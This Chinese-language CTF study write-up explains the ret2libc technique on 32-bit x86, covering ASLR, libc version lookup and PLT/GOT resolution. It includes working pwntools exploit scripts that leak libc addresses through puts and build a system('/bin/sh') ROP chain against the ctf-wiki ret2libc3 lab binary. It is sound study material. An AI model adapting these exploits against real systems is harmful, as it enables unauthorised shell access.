Pwn ret2libc in x86

共享目标文件是 PIC (地址无关代码) 的, 对其中的符号进行寻址是 相对寻址, 这也说明了整个 .so 装载后是一个不可分割的整体, 各个符号之间的相对距离 (或者各个指令的相对距离) 并不会变. 这样, 即使程序开启了 ASLR (地址随机化, 动态链接 .so 的时候会装载到随机的地址上), 我们只要知道程序用的是哪一个版本的 libc.so (进而知道各个符号之间的相对距离), 且知道某一个符号当前装载在内存中的地址, 那么理论上来说, 我们就可以计算出任意符号 (或者直接就是 .so 的某个地址)当前装载在内存中的地址. libc.so 中有 system 函数, “/bin/sh” 字符串等可供我们利用的符号或数据.

那么现在的问题在于:

  1. 怎么知道程序使用的是什么版本的 libc.so
  2. 怎么知道某一个符号当前装载在内存中的地址

先来看第一个问题.

虽然 .so 在装载后的地址是随机化的, 但是地址的低 12 位是固定的 (随机了, 但没完全随机). 因为程序装载的时候, 会涉及到虚拟内存向物理内存的映射, 而这种映射是以页为单位的, 页需要对齐, 而一个页的大小为 0x1000 (4096) 字节. 程序装载的时候, 每个节的对齐粒度都是 0x1000, 这也就说明了为什么 .so 中指令, 符号或者数据的低 12 位是固定的. 关于页映射, 目前没有搞得很明白, 详细请参考 «程序员的自我修养».

如果知道某一个符号的低 12 位是什么, 那么直接拿它和现有的所有版本的 libc.so 去对比, 就可以找到程序用的是什么版本的 libc.so 了. 对没错就是暴力枚举. 当然可能匹配到多个版本的 libc.so, 这时就得提供更多的信息了, 比如拿两个甚至多个符号的低 12 位去爆搜, 直到确定某一个版本的 libc.so. 或者暴力把所有符合条件的 libc.so 都跑一遍, 总有一个是对的.

技巧
  • libc-database 是使用的数据库, 其中也提供了 web API.
  • libc.rip 是 libc-database 实现的在线搜索 libc.so 版本的网站.
  • 这个版本的 LibSearcher 调用了 libc-database 的 API, 把在线搜索集成到了 python 中.
  • 这个版本的 LibSearcher3 将所有版本的 libc.so 下载到本地进行搜索, 并且提供了可直接执行的二进制文件用以搜索.

至少写这篇文章的时候, 上述项目依然在维护. (CTF Wiki 上介绍的那个原版 LibSearcher 年久失修了)

再来看第二个问题. 泄漏库函数的地址, 有不少方法. 比如调用 puts 打印 got 表, 或者利用格式化字符串漏洞打印 main 函数的返回地址 (__libc_start_main 函数的地址). 这就需要具体问题具体分析了. 总之想办法拿到, 之后的事情就简单了.

关于 got 表, 暂且参考下面这篇文章, 写的挺好 (应该是作者看了某篇英文文章之后动手实验的). 之后有机会自己总结一下.

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#3

rizin 打开, iI 查看信息, x86 架构 32 位 ELF. 没开 canary 和 PIE.

aaa; afl, 发现 secure 函数, s dbg.secure;pdg 啥都没有. s main; pdg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
undefined4 dbg.main(void)
{
    undefined auStack116 [112];
    
    // int main();
    sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
    sym.imp.setvbuf(_reloc.stdin, 0, 1, 0);
    sym.imp.puts("No surprise anymore, system disappeard QQ.");
    sym.imp.printf("Can you find it !?");
    sym.imp.gets(auStack116);
    return 0;
}

存在栈溢出漏洞. 但是没有发现可用的函数. 所以尝试泄漏出 libc.so 中函数的地址, 计算偏移去调用 libc.so 中的 system 函数和 “/bin/sh” 字符串.

这里涉及到了 plt, got.plt 的关系以及动态链接的过程.

简单来说, 动态链接的程序, 在调用库函数之前, got.plt 表 (got 属于数据段, 而非代码段) 中对应的函数地址是 “去寻找库函数地址” 的指令地址. 而这个指令就是 fun@plt 的下一条, 程序在这里进行一些准备工作, 如把要寻找的函数记录在栈上. 接下来的指令是跳转到 plt 开头, 这里的指令是去共享库中寻找函数地址.

程序在调用库函数时, call 的总是 fun@plt. 然后 fun@plt 的第一句是 jmp [got.plt.fun]如果是第一次调用, 则会去寻找库函数. 找到以后, 程序会把 got.plt 表中这个函数的地址改为库函数的实际地址. 接下来如果调用这个函数, jmp [got.plt.fun] 就直接跳转到库函数的位置了.

我们所说的泄漏库函数地址, 实际上就是把 got.plt.fun 的内容泄漏出来. 因为 plt 机制, 需要泄漏 已经调用过 的库函数. 在这个例子中, main 函数之前调用的库函数都可以作为我们泄漏的目标. 如 puts, gets, setvbuf, printf (因为栈溢出所改变的是返回地址, 所以在执行我们想要的程序流时, main 已经运行结束了). 实际上, 程序的入口并不是 main, 而是 _start. (_start 貌似不是符号, 符号表里没找到) _start 最后又调用了 __libc_start_main. 这个库函数在符号表和重定位表中是存在的. 也就是说, 程序在 main 之前, 一定会调用 __libc_start_main 这个库函数. 所以这个函数也可以作为我们泄漏的目标.

有了目标之后, 因为我们有 puts 这个函数可以调用, 所以可以把 got.plt.fun 的值给打印出来. 把 got.plt.fun 当作字符串打印, 然后取前 4 个字节, 就是地址了.

接下来用工具找到 libc.so 的版本, 之后找到 libc.so 中 system 和 “/bin/sh” 的地址, 加上偏移量, 就是 当前进程 system 和 “/bin/sh” 的地址.

要调用函数, 得继续控制程序流. 可以将打印库函数地址的 puts 函数的返回地址构造成 main, 这样就又可以利用一次栈溢出漏洞. 而现在我们已经知道了 system 和 “/bin/sh” 的地址 (程序没有重启, 只是又跳转到了 main), 直接构造 system("/bin/sh") 的 ROP 即可.

首先写 exp 泄漏函数地址 (需要计算 buf 到 ebp 的距离, 不再细说):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

def leak(program, padding, function):
    sh = process(program)
    elf = ELF(program)

    plt_puts = elf.plt['puts']
    got_function = elf.got[function]

    payload = b'a' * padding
    payload += p32(plt_puts) + p32(0xdeadbeef) + p32(got_function)
    sh.recvuntil(b'Can you find it !?')
    sh.sendline(payload)
    addr_function = u32(sh.recvline()[0:4])
    print(function + ': '+ hex(addr_function))
    sh.close()

leak('./ret2libc3', 0x6c + 0x04, '__libc_start_main')
leak('./ret2libc3', 0x6c + 0x04, 'puts')
leak('./ret2libc3', 0x6c + 0x04, 'gets')
leak('./ret2libc3', 0x6c + 0x04, 'setvbuf')

输出如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
❯ python leak.py 
[+] Starting local process './ret2libc3': pid 95557
[*] '/home/wings/CTF/study/pwn/ctf-wiki-ret2lib3/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
__libc_start_main: 0xf7d21df0
[*] Stopped process './ret2libc3' (pid 95557)
[+] Starting local process './ret2libc3': pid 95561
puts: 0xf7da3c30
[*] Stopped process './ret2libc3' (pid 95561)
[+] Starting local process './ret2libc3': pid 95564
gets: 0xf7d33110
[*] Stopped process './ret2libc3' (pid 95564)
[+] Starting local process './ret2libc3': pid 95567
setvbuf: 0xf7da6420
[*] Stopped process './ret2libc3' (pid 95567)

然后去 libc.rip:

/pwn-ret2libc-in-x86/img/libc-rip.png
根据地址寻找 libc.so 版本, 并找到相应符号的地址

接下来构造计算偏移, 并构造 ROP 链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

program = './ret2libc3'
sh = process(program)
elf = ELF(program)

function = '__libc_start_main'

plt_puts = elf.plt['puts']
got_function = elf.got[function]
sym_main = elf.sym['main']

payload = b'a' * (0x6c + 0x04)
payload += p32(plt_puts) + p32(sym_main) + p32(got_function)
sh.recvuntil(b'Can you find it !?')
sh.sendline(payload)
addr_function = u32(sh.recvline()[0:4])
print(function + ': '+ hex(addr_function))
addr_libc_start_main = addr_function

base_libc_start_main = 0x1adf0
base_system = 0x41790
base_str_bin_sh = 0x18e363

offset = addr_libc_start_main - base_libc_start_main
addr_system = base_system + offset
addr_str_bin_sh = base_str_bin_sh + offset

payload = b'a' * (0x64 + 0x04)
payload += p32(addr_system) + p32(sym_main) + p32(addr_str_bin_sh)
sh.recvuntil(b'Can you find it !?')
sh.sendline(payload)
sh.interactive()

或者使用 LibcSearcher:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *

program = './ret2libc3'
elf = ELF(program)
plt_puts = elf.plt['puts']
sym_main = elf.sym['main']
got_libc_start_main = elf.got['__libc_start_main']

def leak(function):
    sh = process(program)
    got_function = elf.got[function]

    payload = b'a' * (0x6c + 0x04)
    payload += p32(plt_puts) + p32(0xdeadbeef) + p32(got_function)
    sh.recvuntil(b'Can you find it !?')
    sh.sendline(payload)
    addr_function = u32(sh.recvline()[0:4])
    print(function + ': '+ hex(addr_function))
    sh.close()
    return addr_function

def add_condition(libc, function):
    libc.add_condition(function, leak(function))

libc = LibcSearcher()

add_condition(libc, '__libc_start_main')
add_condition(libc, 'puts')
add_condition(libc, 'gets')
add_condition(libc, 'setvbuf')

base_libc_start_main = libc.dump('__libc_start_main')
base_system = libc.dump('system')
base_str_bin_sh = libc.dump('str_bin_sh')

sh = process(program)

payload_leak = b'a' * (0x6c + 0x04)
payload_leak += p32(plt_puts) + p32(sym_main) + p32(got_libc_start_main)
sh.recvuntil(b'Can you find it !?')
sh.sendline(payload_leak)
addr_libc_start_main = u32(sh.recvline()[0:4])

offset = addr_libc_start_main - base_libc_start_main
addr_system = base_system + offset
addr_str_bin_sh = base_str_bin_sh + offset

payload = b'a' * (0x64 + 0x04)
payload += p32(addr_system) + p32(sym_main) + p32(addr_str_bin_sh)
sh.recvuntil(b'Can you find it !?')
sh.sendline(payload)
sh.interactive()

需要注意的是, 由于 main 中反汇编代码在计算 esp 的时候使用了位运算:

1
2
3
4
0x08048618      push  ebp                                  ; ret2libcGOT.c:19 ; int main();
0x08048619      mov   ebp, esp
0x0804861b      and   esp, 0xfffffff0
0x0804861e      add   esp, 0xffffff80

而我们劫持了程序流, 第二次进入 main 时 esp 的值和第一次的不一样, 所以计算的 buf 到 ebp 的距离也可能是不一样的. 这里需要调试一下计算出结果. 之前的文章讲过了, 这里不细说了.